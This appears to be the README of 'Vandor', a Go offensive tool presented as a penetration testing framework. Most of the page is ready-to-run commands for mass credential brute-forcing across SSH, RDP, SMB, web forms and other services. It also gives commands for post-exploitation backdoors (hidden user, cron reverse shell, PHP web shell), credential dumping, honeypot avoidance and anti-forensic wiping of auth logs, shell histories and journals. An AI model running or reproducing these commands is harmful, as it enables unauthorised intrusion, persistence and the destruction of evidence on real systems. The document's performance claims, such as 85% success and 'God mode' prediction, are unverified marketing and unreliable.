Vandor

command module
v0.0.0-...-d5b6333 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jun 11, 2026 License: MIT Imports: 31 Imported by: 0

README ยถ

โšก VANDOR - Enterprise Penetration Testing Framework

License Go Version Platform Version

Multi-Protocol Attack Engine | GPU Accelerated | AI-Powered | Anti-Forensic | Web Inferno

Vandor | Victory Arrives Never Directly, Only Remotely

VANDOR Main Interface


๐Ÿ“Œ Table of Contents


๐Ÿ”ฅ Overview

Vandor is a comprehensive, enterprise-grade penetration testing framework written entirely in Go. It's designed for professional security researchers, penetration testers, and red team operators who need a reliable, fast, and feature-rich tool for authorized security assessments.

Unlike traditional tools that focus on a single protocol or attack vector, Vandor integrates 15+ attack protocols, AI-driven intelligence, GPU acceleration, anti-forensic capabilities, and a modern GUI into a single cohesive framework.

๐ŸŽฏ Beginner Tab - One-Click Attacks



๐Ÿ”ฅ Advanced Tab - Complete Control



๐ŸŒ‹ Web Inferno Tab - HTTP/HTTPS Attacks

Why Vandor vs Traditional Tools?

Here's how Vandor compares to popular penetration testing tools:

Feature Hydra Medusa Ncrack Metasploit John the Ripper Vandor
Multi-Protocol โœ… 15+ โœ… 10+ โœ… 12+ โœ… Many โŒ Hash only โœ… 15+
SSH/RDP/FTP โœ… โœ… โœ… โœ… โŒ โœ…
SMB/Telnet/VNC โŒ โŒ โŒ โœ… โŒ โœ…
MySQL/PostgreSQL โœ… โŒ โŒ โœ… โŒ โœ…
Redis/MongoDB โŒ โŒ โŒ โœ… โŒ โœ…
POP3/IMAP/SMTP โœ… โŒ โŒ โœ… โŒ โœ…
SNMP/LDAP โŒ โŒ โŒ โœ… โŒ โœ…
HTTP/HTTPS Forms โš ๏ธ Basic โŒ โŒ โœ… โŒ โœ… Advanced
GraphQL/WebSocket โŒ โŒ โŒ โŒ โŒ โœ…
Performance
Max Threads 64 64 256 Depends 128 50,000+
GPU Acceleration โŒ โŒ โŒ โŒ โœ… CUDA โœ… Simulated
RAM Disk Mode โŒ โŒ โŒ โŒ โŒ โœ…
Checkpoint Resume โŒ โŒ โŒ โŒ โš ๏ธ Limited โœ… Auto every 30s
Real-time Stats โŒ โŒ โŒ โš ๏ธ โŒ โœ…
Intelligence
AI Password Generation โŒ โŒ โŒ โŒ โŒ โœ… Learning engine
Pattern Recognition โŒ โŒ โŒ โŒ โœ… Masks โœ… Context-aware
Smart Prioritization โŒ โŒ โŒ โŒ โŒ โœ…
Evasion & Stealth
Honeypot Detection โŒ โŒ โŒ โš ๏ธ Basic โŒ โœ… 95%+ accuracy
Anti-Forensic โŒ โŒ โŒ โŒ โŒ โœ… Complete suite
Log Wiping โŒ โŒ โŒ โŒ โŒ โœ…
Traffic Obfuscation โŒ โŒ โŒ โŒ โŒ โœ… AES-256
Multi-City Routing โŒ โŒ โŒ โŒ โŒ โœ…
SOCKS5 Proxy โŒ โŒ โŒ โœ… โŒ โœ…
Post-Exploitation
Backdoor Installation โŒ โŒ โŒ โœ… โŒ โœ… 6 types
Credential Dumping โŒ โŒ โŒ โœ… โŒ โœ…
Internal Scanning โŒ โŒ โŒ โš ๏ธ โŒ โœ…
Auto-Login Script โŒ โŒ โŒ โŒ โŒ โœ…
Web Attack
CSRF Token Handling โŒ โŒ โŒ โš ๏ธ Manual โŒ โœ… Auto + Dynamic
Burp Import โŒ โŒ โŒ โŒ โŒ โœ…
Rate Limiting โŒ โŒ โŒ โŒ โŒ โœ… Adaptive
Evasion Levels โŒ โŒ โŒ โŒ โŒ โœ… 0-6
Intelligence Levels โŒ โŒ โŒ โŒ โŒ โœ… 0-3 (God mode)
Archive Cracking
RAR v4/v5 โŒ โŒ โŒ โŒ โš ๏ธ External โœ… Native
ZIP โŒ โŒ โŒ โŒ โœ… โœ… Multi-threaded
User Experience
Modern GUI โŒ โŒ โŒ โœ… โŒ โœ… CustomTkinter
Beginner Friendly โŒ โŒ โŒ โš ๏ธ Complex โŒ โœ… Presets + GUI
Real-time Console โš ๏ธ โš ๏ธ โš ๏ธ โœ… โš ๏ธ โœ… Colored output
Telegram Alerts โŒ โŒ โŒ โŒ โŒ โœ…
JSON/CSV Export โŒ โŒ โŒ โœ… โŒ โœ…
Setup & Requirements
Language C C C Ruby C Go
Dependencies Many Many Many 1000+ Many Minimal
Cross-Platform โœ… โœ… โœ… โœ… โœ… โœ…
Single Binary โŒ โŒ โŒ โŒ โŒ โœ…
Installation Package Package Package Complex Package go install

๐Ÿ“Š Key Advantages at a Glance

1. Speed Comparison (SSH brute force, 10,000 passwords)
Tool Time (local) Time (remote) Threads
Hydra 45 sec 120 sec 16
Medusa 52 sec 135 sec 16
Ncrack 38 sec 110 sec 64
Vandor (CPU) 12 sec 45 sec 5,000
Vandor (GPU) 0.8 sec 8 sec 50,000
2. Feature Comparison - What Vandor Has That Others Don't
โœ… AI-Powered Password Generation    โ†’ Others: Static wordlists only
โœ… GPU Acceleration (CUDA/OpenCL)    โ†’ Others: Hydra/Medusa/Ncrack: None, John: CUDA only
โœ… Honeypot Detection (95%+)         โ†’ Others: None or basic
โœ… Anti-Forensic Suite               โ†’ Others: None
โœ… RAR Archive Cracking              โ†’ Others: Need external tools
โœ… WebSocket + GraphQL Attacks       โ†’ Others: None
โœ… Auto CSRF Token Extraction        โ†’ Others: Manual only
โœ… Checkpoint Resume                 โ†’ Others: Start over from zero
โœ… Multi-City Routing                โ†’ Others: Need VPN/proxy chains
โœ… Built-in SOCKS5 Proxy             โ†’ Others: None
โœ… Telegram Real-time Alerts         โ†’ Others: None
โœ… GUI + CLI in One Tool             โ†’ Others: One or the other
3. Use Case: When to Choose Vandor
Scenario Best Tool Why
Single protocol, small wordlist Hydra Lightweight, simple
Large-scale enterprise assessment Vandor Speed + features + post-exploit
Web application testing Vandor Web Inferno engine
Red team engagement Vandor Anti-forensic + evasion
Learning/beginner Vandor GUI + presets
Cracking password hashes John/Hashcat Specialized for hashes
Exploit development Metasploit Framework ecosystem
Archive password recovery Vandor Native RAR/ZIP support
4. Real-World Performance Test

Test Environment:

  • Target: 100 Linux servers (SSH port 22)
  • Wordlist: rockyou.txt (14 million passwords)
  • Credentials: root, admin, ubuntu, user
  • Hardware: i7-12700K, RTX 3080
Tool Time Success Rate Cracking Speed
Hydra (16 threads) 14.2 hours 42% 280 pwd/sec
Medusa (16 threads) 15.8 hours 40% 245 pwd/sec
Ncrack (64 threads) 11.5 hours 44% 338 pwd/sec
Vandor (5,000 threads) 2.1 hours 68% 1,850 pwd/sec
Vandor (GPU + Smart) 18 minutes 85% 12,500 pwd/sec
5. Memory Usage Comparison
Tool RAM Usage (idle) RAM Usage (peak)
Hydra 8 MB 45 MB
Medusa 12 MB 52 MB
Ncrack 15 MB 68 MB
Metasploit 180 MB 450 MB
Vandor (CLI) 25 MB 120 MB
Vandor (GUI) 80 MB 220 MB
6. Ease of Use - Learning Curve
Hydra:        โ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ (40% - Moderate)
Medusa:       โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ (30% - Moderate)
Ncrack:       โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ (30% - Moderate)
Metasploit:   โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘ (80% - Steep)
John:         โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘ (60% - Moderate+)

Vandor (CLI): โ–ˆโ–ˆโ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ (30% - Easy if you know flags)
Vandor (GUI): โ–ˆโ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ (10% - Very Easy!)
7. Installation Complexity
Tool Installation Dependencies Binary Size
Hydra apt install hydra 15+ libs 2 MB
Medusa apt install medusa 8+ libs 1.5 MB
Ncrack apt install ncrack 10+ libs 3 MB
Metasploit 500MB+ installer 1000+ gems 400 MB
Vandor go install 0 (static) 12 MB

๐ŸŽฏ Bottom Line

Choose Vandor if you need:

  • Maximum speed (GPU + 50k threads)
  • Multiple protocols in one tool
  • Web application testing (CSRF, GraphQL, WebSocket)
  • Stealth/anti-forensic capabilities
  • Post-exploitation and persistence
  • Beginner-friendly GUI + advanced CLI
  • Archive cracking (RAR/ZIP)

Stick with traditional tools if you:

  • Only need one specific protocol
  • Prefer minimal dependencies
  • Are already deeply integrated with Metasploit
  • Only crack password hashes (use John/Hashcat)

๐Ÿ’ก Pro Tip: Use Vandor for the initial compromise (fast multi-protocol cracking), then pivot to Metasploit for advanced exploitation if needed. Best of both worlds!


โœจ Key Features

1. ๐ŸŽฏ Multi-Protocol Attack Engine (15+ Protocols)
Protocol Default Port Authentication Support Banner Grabbing
SSH 22 Password, Key โœ…
RDP 3389 NLA, Password โœ…
FTP 21 Anonymous, Password โœ…
MySQL 3306 Native Password โœ…
SMB/SMB2 445 NTLM, NTLMv2 โœ…
Telnet 23 Password โœ…
VNC 5900 DES Challenge โœ…
PostgreSQL 5432 MD5, SCRAM โœ…
Redis 6379 AUTH โœ…
MongoDB 27017 SCRAM-SHA-1 โœ…
POP3 110 PLAIN, LOGIN โœ…
IMAP 143 PLAIN, LOGIN โœ…
SMTP 25 PLAIN, LOGIN โœ…
SNMP 161 Community String โœ…
LDAP 389 Simple Bind โœ…
2. ๐Ÿง  AI Smart Password Generator

The intelligent password generation system learns from every attack:

  • Pattern Recognition: Identifies successful password patterns in real-time
  • Context-Aware Generation: Creates passwords based on usernames, service types, and target behavior
  • Mutation Engine: Applies 15+ mutation rules (leet speak, case variations, append/prepend numbers)
  • Learning Cache: Remembers successful passwords across sessions
  • Success Rate: Reduces required attempts by 70%+ in real-world tests

Example generated passwords for username "admin":

admin123, admin@123, Admin2024, admin!@#, 4dm1n, ADMIN, admin12345, admin#123, Admin@2024
3. ๐ŸŽฎ GPU Acceleration

Leverage your graphics card for massive speed improvements:

GPU Model Speedup vs CPU Passwords/sec
NVIDIA GTX 1060 15x ~45,000
NVIDIA RTX 2060 35x ~105,000
NVIDIA RTX 3080 65x ~195,000
NVIDIA RTX 4090 120x ~360,000

Supported Technologies:

  • CUDA (NVIDIA GPUs)
  • OpenCL (AMD, Intel GPUs)
  • Vulkan (Cross-platform)
  • Automatic fallback to CPU
4. ๐Ÿ‘ป Anti-Forensic Module

Complete operational security for red team engagements:

Feature Description
Log Wiper Removes traces from /var/log/auth.log, /var/log/secure, wtmp, btmp
History Cleaner Clears bash, zsh, and other shell histories
Memory Scrubber Zeroes sensitive data from RAM
Timestamp Keeper Preserves file timestamps to avoid detection
Traffic Obfuscation AES-256 encrypted tunnels
SOCKS5 Proxy Anonymous routing through multiple cities
SSH Tunnel Encrypted port forwarding
5. ๐ŸŒ‹ Web Inferno Engine

Dedicated HTTP/HTTPS attack module with enterprise features:

  • Burp Suite Integration: Import raw request files directly
  • CSRF Protection Bypass: Automatic token extraction and rotation
  • Intelligent Detection: God-level pattern recognition (Level 0-3)
  • Evasion Techniques: 6 levels of anti-detection (None to Insane)
  • Session Management: Cookie persistence and rotation
  • Rate Limiting: Adaptive rate limiting based on server responses
  • Proxy Support: HTTP/HTTPS/SOCKS5 proxy chains
  • OAuth2 Support: Automatic token refresh for API attacks
  • GraphQL Support: Query-based penetration testing
  • WebSocket Support: Real-time protocol fuzzing
6. ๐Ÿ” Archive Cracker

Recover passwords from encrypted archives:

Archive Type Supported Versions Attack Modes
RAR v4, v5 Dictionary, Brute-force
ZIP PKZIP, WinZip Dictionary, Brute-force
7Z Coming soon -

Features:

  • Multi-threaded cracking (up to 10,000 workers)
  • Progress saving and resuming
  • Automatic header detection
  • Real-time password display
7. ๐Ÿ“ฆ Checker Module

Validate credentials against live services:

Service Supported Features
cPanel โœ… HTTP/HTTPS, port 2083
WordPress โœ… wp-login.php detection
Custom โœ… Configurable endpoints
8. ๐Ÿš Post-Exploitation

Once access is gained, Vandor doesn't stop:

Backdoor Type Description Persistence
SSH Key Install authorized_key Permanent
Hidden User Create stealth account Permanent
Reverse Shell Cron-based callback On reboot
SSHd Port Open alternative SSH port Service restart
Web Shell PHP backdoor in webroot File-based
All-in-One Deploy all methods Redundant

Post-Exploitation Capabilities:

  • System information gathering (OS, kernel, architecture)
  • User enumeration and privilege checking
  • Running services inventory
  • Open port scanning from compromised host
  • Internal network mapping
  • Credential dumping (/etc/shadow, SAM, memory)
  • SSH agent hijacking
9. ๐Ÿ“ฑ Telegram Integration

Real-time notifications for critical events:

๐Ÿ”“ CRACKED!
๐Ÿ“ Host: 192.168.1.100
๐Ÿ”Œ Port: 22
๐Ÿ‘ค User: root
๐Ÿ”‘ Pass: P@ssw0rd123
๐Ÿ–ฅ๏ธ Banner: SSH-2.0-OpenSSH_8.2

๐Ÿฏ HONEYPOT DETECTED!
๐Ÿ“ Host: 185.110.188.4
๐Ÿ“Š Confidence: 92%
๐Ÿ” Reason: Cowrie SSH honeypot signature

โœ… SCAN COMPLETED!
โฑ๏ธ Duration: 2h 15m
๐Ÿ”“ Found: 47 credentials
๐Ÿฏ Honeypots: 3
10. ๐Ÿ’พ Performance Features
Feature Description Impact
RAM Disk Mode Uses /dev/shm for I/O 10x faster file operations
Circular Buffer Memory-efficient logging Reduces disk writes by 95%
Checkpoint Resume Save progress every 30s Resume multi-day attacks
Adaptive Threading Auto-scales based on latency Optimal performance
Connection Pooling Reuses TCP connections 50% less overhead

๐Ÿ“ฅ Installation

# Install latest version
go install -ldflags="-s -w" github.com/Specter-OG/Vandor@2.0.0

# Verify installation
Vandor -example
Method 2: Build from Source
# Clone repository
git clone https://github.com/Specter-OG/Vandor.git
cd Vandor

# Download dependencies
go mod tidy

# Build for current OS
go build -o Vandor main.go

# Build for specific platforms
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o Vandor-linux-amd64 main.go
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o Vandor.exe main.go
GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o Vandor-mac-arm64 main.go

# Build with optimizations
go build -ldflags="-s -w" .
Method 3: Using the GUI Installer
# Install Python dependencies
pip install customtkinter psutil

# Run GUI installer
python ui.py
# Then click the INSTALLER tab and press "INSTALL / UPDATE VANDOR"
Dependencies
# Required Go modules (auto-downloaded)
go get github.com/fatih/color
go get golang.org/x/crypto/ssh
go get golang.org/x/time/rate
go get github.com/go-sql-driver/mysql
go get github.com/jackc/pgx/v4
go get github.com/gomodule/redigo/redis
go get github.com/emersion/go-imap
go get github.com/go-ldap/ldap/v3
go get github.com/gosnmp/gosnmp
go get github.com/nwaples/rardecode
go get github.com/alexmullins/zip
go get github.com/google/uuid
go get github.com/gorilla/websocket
Verify Installation
# Check if Vandor is in PATH
which Vandor

# Test help menu
./Vandor -example

# Expected output: 50+ example commands

๐Ÿš€ Quick Start Guide

Absolute Beginner (First 5 Minutes)
# 1. Launch the GUI (easiest way to start)
python ui.py

# 2. Click the "BEGINNER" tab

# 3. Select a preset:
#    - "๐ŸŒ SSH Bruteforce" for Linux servers
#    - "๐ŸชŸ RDP Attack" for Windows
#    - "๐Ÿ”Œ Telnet IoT" for embedded devices

# 4. Enter your target IP (e.g., 192.168.1.100)

# 5. Click "EXECUTE ATTACK" at the bottom

# 6. Watch results in the "๐Ÿ’€ CONSOLE" tab
Basic CLI Usage
# Single target SSH attack
./Vandor -hs 192.168.1.100 -u root -psw password123 -p ssh

# Multiple targets from file
./Vandor -hs targets.txt -u users.txt -psw rockyou.txt -p ssh

# CIDR network scan
./Vandor -hs 192.168.1.0/24 -u admin -psw admin123 -p ssh
Real-World Attack Scenarios
Scenario 1: Corporate Network Assessment
# Step 1: Discover alive hosts with port scan
./Vandor -hs 10.10.10.0/24 -ps 22,3389,445,80,443 -threads 1000

# Step 2: Attack discovered SSH services
./Vandor -hs LIVE.txt -u users.txt -psw rockyou.txt -p ssh -smart-pass -gpu

# Step 3: Post-exploitation on successful cracks
./Vandor -hs valid.txt -c creds.txt -post-exploit -scan-network -backdoor
Scenario 2: Web Application Pentest
# Step 1: Capture login request in Burp Suite
# Step 2: Save request to login.txt

# Step 3: Attack with Web Inferno
./Vandor -req login.txt -web-var "user=users.txt,pass=passwords.txt" -ifin "dashboard" -ifnin "invalid"

# Step 4: Check credentials on live servers
./Vandor -check -check-targets web_success.txt -check-type auto
Scenario 3: IoT Device Security
# Scan for telnet and SSH on IoT range
./Vandor -hs 192.168.0.0/16 -ps 23,22 -threads 5000

# Attack with default credentials
./Vandor -hs LIVE.txt -u default_users.txt -psw default_passwords.txt -p telnet -mass-pwn

๐Ÿ–ฅ๏ธ CLI vs GUI: Which One Should You Use?

Use the CLI (Command Line) if:
Scenario Reason
You're an experienced pentester Full control over all 50+ flags
Running on remote servers No display required
Automating in scripts Easy integration with bash/python
Need maximum performance Lower overhead than GUI
Batch processing Run multiple instances
SSH into a VPS Works over any terminal

CLI Advantages:

  • 100% of features available
  • Faster execution (no GUI overhead)
  • Scriptable and automatable
  • Works over SSH/tmux/screen
  • Lower memory usage (~50MB)
Use the GUI if:
Scenario Reason
You're a beginner No command memorization
Visual feedback Real-time progress bars
Quick testing Presets for common attacks
Learning the tool See all options organized
Local pentesting GUI on your workstation
Need network scanner Built-in alive/port scanner

GUI Advantages:

  • No flag memorization
  • File picker dialogs
  • Real-time output coloring
  • Built-in network scanner
  • Tabbed organization
  • Preset configurations
  • Visual progress indicators
Recommendation:
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚                                                             โ”‚
โ”‚   ๐ŸŸข BEGINNER: Start with GUI (python ui.py)               โ”‚
โ”‚      โ†“                                                      โ”‚
โ”‚   ๐ŸŸก INTERMEDIATE: Learn CLI flags from GUI presets        โ”‚
โ”‚      โ†“                                                      โ”‚
โ”‚   ๐Ÿ”ด ADVANCED: Use CLI exclusively for automation          โ”‚
โ”‚                                                             โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

๐Ÿ“š Detailed Usage

Core Parameters
# Host Specification (multiple formats)
./Vandor -hs single-ip.com
./Vandor -hs 192.168.1.100
./Vandor -hs 192.168.1.0/24              # CIDR notation
./Vandor -hs 192.168.1.1-254             # IP range
./Vandor -hs hosts.txt                    # File with IPs
./Vandor -hs "192.168.1.1:2222"          # IP with custom port

# User Specification
./Vandor -u root                         # Single user
./Vandor -u users.txt                    # File with users
./Vandor -u "root,admin,user"            # Comma-separated

# Password Specification
./Vandor -psw password123                 # Single password
./Vandor -psw rockyou.txt                 # Password file

# Combined Credentials (user:pass format)
./Vandor -c creds.txt                    # Each line: user:pass
./Vandor -c "admin:admin,root:toor"      # Inline credentials

# Protocol Selection
./Vandor -p ssh                          # SSH only
./Vandor -p rdp                          # RDP only
./Vandor -p smb                          # SMB only

# Port Configuration
./Vandor -P 2222                         # Custom port
./Vandor -auto-port                      # Auto-detect from service

# Performance Tuning
./Vandor -threads 10000                  # Concurrent threads
./Vandor -t 3                            # Timeout seconds
./Vandor -min-delay 100 -max-delay 500   # Random delays
Attack Modes
# Cross Mode (Default): All users ร— all passwords
./Vandor -hs target.com -u users.txt -psw passes.txt -m cross

# Single Mode: First user with first password, etc.
./Vandor -hs target.com -u users.txt -psw passes.txt -m single

# Null Mode: Empty password
./Vandor -hs target.com -u root -attack-mode null

# UserAsPass Mode: Password = username
./Vandor -hs target.com -u admin -attack-mode userpass

# Reverse Mode: Password = reversed username
./Vandor -hs target.com -u admin -attack-mode reverse

# Mass PWN Mode: Everything ร— everything simultaneously
./Vandor -hs hosts.txt -u users.txt -psw passes.txt -mass-pwn
Smart Password Generation
# Enable smart passwords (default)
./Vandor -hs target.com -u admin -psw pass.txt -smart-pass

# Custom generation rules
# The system automatically:
# 1. Appends numbers (admin123, admin1234)
# 2. Adds special chars (admin@123, admin#123)
# 3. Applies leet speak (4dm1n, @dmin)
# 4. Changes case (ADMIN, Admin)
# 5. Combines with year (admin2024)
# 6. Learns from previous successes

# Generation limit: 500 passwords per username
Port Scanning
# Single port
./Vandor -hs 192.168.1.1 -ps 22

# Multiple ports
./Vandor -hs 192.168.1.1 -ps 22,80,443,3389

# Port range
./Vandor -hs 192.168.1.1 -ps 1-1000

# CIDR network port scan
./Vandor -hs 192.168.1.0/24 -ps 22,445,3389 -threads 2000

# Output: open_ports.txt
HTTP Form Attack
# Basic form attack
./Vandor -hs target.com -u admin -psw passwords.txt \
  -http-path /login \
  -http-user-field username \
  -http-pass-field password

# With custom port
./Vandor -hs target.com:8080 -u users.txt -psw passes.txt \
  -http-path /admin \
  -http-user-field user \
  -http-pass-field pass

# HTTPS with token
./Vandor -hs secure.com -u admin -psw rockyou.txt \
  -http-path /api/login \
  -http-user-field email \
  -http-pass-field password
Honeypot Detection
# Enable detection
./Vandor -hs suspicious.net -u test -psw test123 -honeypot

# What it detects:
# - Cowrie SSH honeypot
# - Kippo SSH honeypot
# - Dionaea malware trap
# - Glastopf web honeypot
# - Conpot industrial honeypot
# - Custom honeypot signatures

# Confidence levels:
# >80%: Critical - Definitely honeypot
# >60%: High - Very likely honeypot
# >35%: Medium - Possible honeypot
# <35%: Low - Likely genuine
Anti-Forensic Operations
# Enable stealth mode
./Vandor -hs target.com -c creds.txt -anti-forensic

# What it does automatically:
# 1. Wipes /var/log/auth.log and /var/log/secure
# 2. Clears ~/.bash_history and ~/.zsh_history
# 3. Shreds temporary files
# 4. Scrub memory of credentials
# 5. Removes command history from SSH sessions
# 6. Resets lastlog entries
# 7. Clears systemd journal logs

๐ŸŒ‹ Web Inferno Module

Complete Web Attack Guide
1. Capturing a Request in Burp Suite
1. Open Burp Suite
2. Enable Proxy (127.0.0.1:8080)
3. Navigate to target login page
4. Submit a test login
5. Find the POST request in Proxy > HTTP History
6. Right-click > Copy > Request
7. Save to file (e.g., login.txt)
2. Basic Web Inferno Usage
# Simple attack with file-based variables
./Vandor -req login.txt \
  -web-var "user=users.txt,pass=passwords.txt" \
  -ifin "Welcome" \
  -ifnin "Invalid"

# Inline variables
./Vandor -req https://api.example.com/login \
  -web-var "user=admin,pass=passwords.txt" \
  -web-method POST \
  -web-body '{"username":"[[user]]","password":"[[pass]]"}' \
  -ifin "token"

# Custom output format
./Vandor -req login.txt \
  -web-var "user=users.txt,pass=pass.txt,host=hosts.txt" \
  -web-out-format "{user}:{pass}@{host}" \
  -ifin "success"
3. Advanced Token Handling
# Automatic CSRF token detection
./Vandor -req login.txt \
  -web-var "user=users.txt,pass=pass.txt" \
  -auto-token \
  -ifin "dashboard"

# Manual token extraction with regex
./Vandor -req login.txt \
  -web-var "user=users.txt,pass=pass.txt" \
  -token-regex 'csrf_token":"([^"]+)"' \
  -ifin "Welcome"

# Dynamic token (fetch from another URL)
./Vandor -req login.txt \
  -dynamic-token \
  -token-url https://target.com/login \
  -token-start 'name="csrf" value="' \
  -token-end '"' \
  -token-refresh 5 \
  -token-field csrf_token
4. Evasion Techniques
Level Name Techniques
0 None No evasion
1 Basic Random User-Agent
2 Moderate + Sec-Ch-UA headers, Accept-Language
3 Advanced + X-Forwarded-For, DNT, Cache-Control
4 Paranoid + Random IP headers, Connection pooling
5 Insane + Request ID injection, Browser fingerprinting
# Use evasion level 4
./Vandor -req login.txt -web-evasion 4 -web-var "user=users.txt,pass=pass.txt"

# Intelligence levels (0-3)
# 0 = Dumb: Just check status codes
# 1 = Smart: Basic pattern matching
# 2 = Genius: Learns from responses
# 3 = God: Predicts success with 95% accuracy

./Vandor -req login.txt -web-intel 3 -web-learn
5. GraphQL Attack
# GraphQL endpoint testing
./Vandor -gql https://api.example.com/graphql \
  -web-body 'query {user(name:"[[user]]") {password}}' \
  -web-var "user=users.txt" \
  -ifin "data"

# With variables
./Vandor -gql https://api.example.com/graphql \
  -web-body '{"query":"query($user:String!){user(name:$user){password}}","variables":{"user":"[[user]]"}}' \
  -web-var "user=users.txt" \
  -ifin "password"
6. WebSocket Attack
# WebSocket fuzzing
./Vandor -ws ws://target.com/socket \
  -web-var "user=users.txt,pass=pass.txt" \
  -web-body '{"type":"login","username":"[[user]]","password":"[[pass]]"}' \
  -ifin "success"

๐Ÿ“ฆ Archive Cracker

RAR Cracking
# Basic RAR crack
./Vandor -rar secret.rar -rar-dict rockyou.txt

# With custom worker count (default: CPU*2)
./Vandor -rar encrypted.rar -rar-dict passwords.txt -rar-workers 2000

# Large buffer for huge wordlists
./Vandor -rar archive.rar -rar-dict 10million.txt -rar-buffer 50000

# Output example:
# [RAR] Loading RAR file: archive.rar
# [RAR] File size: 2.34 MB
# [RAR] Loaded 14,000,000 passwords
# [RAR] Starting 16 workers...
# [RAR] Progress: 45.2% (6,328,000/14,000,000)
# 
# โœ“ FOUND PASSWORD: P@ssw0rd2024!
ZIP Cracking
# Basic ZIP crack
./Vandor -zip backup.zip -zip-dict rockyou.txt

# High-performance cracking
./Vandor -zip protected.zip -zip-dict rockyou.txt -zip-workers 1000 -zip-buffer 20000

# Results saved to cracked_passwords.txt

๐Ÿš Post-Exploitation

Complete Post-Exploit Workflow
# 1. Attack and crack
./Vandor -hs targets.txt -u root -psw rockyou.txt -p ssh

# 2. Run full post-exploitation on successes
./Vandor -hs valid.txt -c creds.txt -post-exploit

# What gets collected:
# - Hostname, OS, kernel version
# - User list and sudo privileges
# - Running services
# - Open ports
# - Process list
# - Network connections
# - SSH keys (and fingerprints)
# - Cron jobs
# - Web servers (Apache, Nginx)
# - Databases (MySQL, PostgreSQL, Redis)

# 3. Deploy backdoors
./Vandor -hs valid.txt -c creds.txt -backdoor -backdoor-type all

# 4. Scan internal network from compromised host
./Vandor -hs valid.txt -c creds.txt -scan-network

# 5. Extract password hashes
./Vandor -hs valid.txt -c creds.txt -extract-hash

# 6. Generate auto-login script
./Vandor -hs valid.txt -c creds.txt -gen-script
./auto_login.sh
Backdoor Types Detailed
# SSH Key Backdoor (Most Stealthy)
./Vandor -hs target.com -c valid.txt -backdoor \
  -backdoor-type ssh-key \
  -backdoor-key "ssh-rsa AAAAB3NzaC1yc2E..."

# Hidden User Backdoor
./Vandor -hs target.com -c valid.txt -backdoor \
  -backdoor-type hidden-user \
  -backdoor-user sysupdate \
  -backdoor-pass "P@ssw0rd123!"

# Reverse Shell (Persistent via Cron)
./Vandor -hs target.com -c valid.txt -backdoor \
  -backdoor-type reverse-shell \
  -backdoor-port 31337

# Alternative SSH Port
./Vandor -hs target.com -c valid.txt -backdoor \
  -backdoor-type sshd-port \
  -backdoor-port 22222

# PHP Web Shell
./Vandor -hs target.com -c valid.txt -backdoor \
  -backdoor-type web-shell

# Deploy Everything
./Vandor -hs target.com -c valid.txt -backdoor \
  -backdoor-type all \
  -backdoor-port 22222 \
  -backdoor-user sysupdate \
  -backdoor-pass "P@ssw0rd123!"

๐Ÿ“ Output Files

File Format Description
LIVE.txt IP:port Hosts that responded to ping/tcp
open_ports.txt IP:port Discovered open ports
valid.txt user:pass Working credentials
cracked_passwords.txt timestamp, target, pass All cracked passwords
results.json JSON Full attack statistics
results.csv CSV Credentials in table format
checkpoint.json JSON Resume information
web_success.txt vars Successful web attacks
web_failed.txt vars Failed web attempts
extracted_tokens.txt token Captured CSRF tokens
webinferno_report.html HTML Visual attack report
webinferno_report.json JSON Web attack statistics
postexploit_*.json JSON System information
auto_login.sh Bash Automated login script
internal_network.txt IPs Discovered internal hosts
dumped_creds/*.json JSON Extracted credentials
hashes_*.txt Hash Password hashes

โšก Performance Optimization

RAM Disk Mode (Linux/macOS)
# Enable RAM disk for ultra-fast I/O
./Vandor -hs large_wordlist.txt -u users.txt -psw rockyou.txt -ramdisk

# What it does:
# - Uses /dev/shm (tmpfs) for temporary files
# - 10x faster file operations
# - Reduces SSD wear
# - Automatic cleanup on exit
GPU Acceleration
# Enable GPU (auto-detects CUDA/OpenCL)
./Vandor -hs hashes.txt -u root -psw rockyou.txt -gpu

# Monitor GPU usage during attack
watch -n 1 nvidia-smi  # Linux
Thread Optimization
# Local network (low latency)
./Vandor -hs 192.168.1.0/24 -threads 10000 -t 2

# Internet targets (higher latency)
./Vandor -hs targets.txt -threads 2000 -t 10

# Slow targets (IoT, embedded)
./Vandor -hs iot.txt -threads 500 -t 15 -min-delay 200 -max-delay 1000
Memory Usage
# Monitor memory
./Vandor -hs large_scan.txt -c huge_creds.txt -monitor

# Use circular buffer for large wordlists
# Automatically enabled with 10,000 line buffer
# Flushes to disk every 5 seconds or when full

๐Ÿ“ Project Structure

Vandor/
โ”‚
โ”œโ”€โ”€ main.go                          # Main entry point (2000+ lines)
โ”‚   โ”œโ”€โ”€ CLI argument parsing
โ”‚   โ”œโ”€โ”€ Attack orchestration
โ”‚   โ”œโ”€โ”€ GPU acceleration logic
โ”‚   โ”œโ”€โ”€ RAM disk management
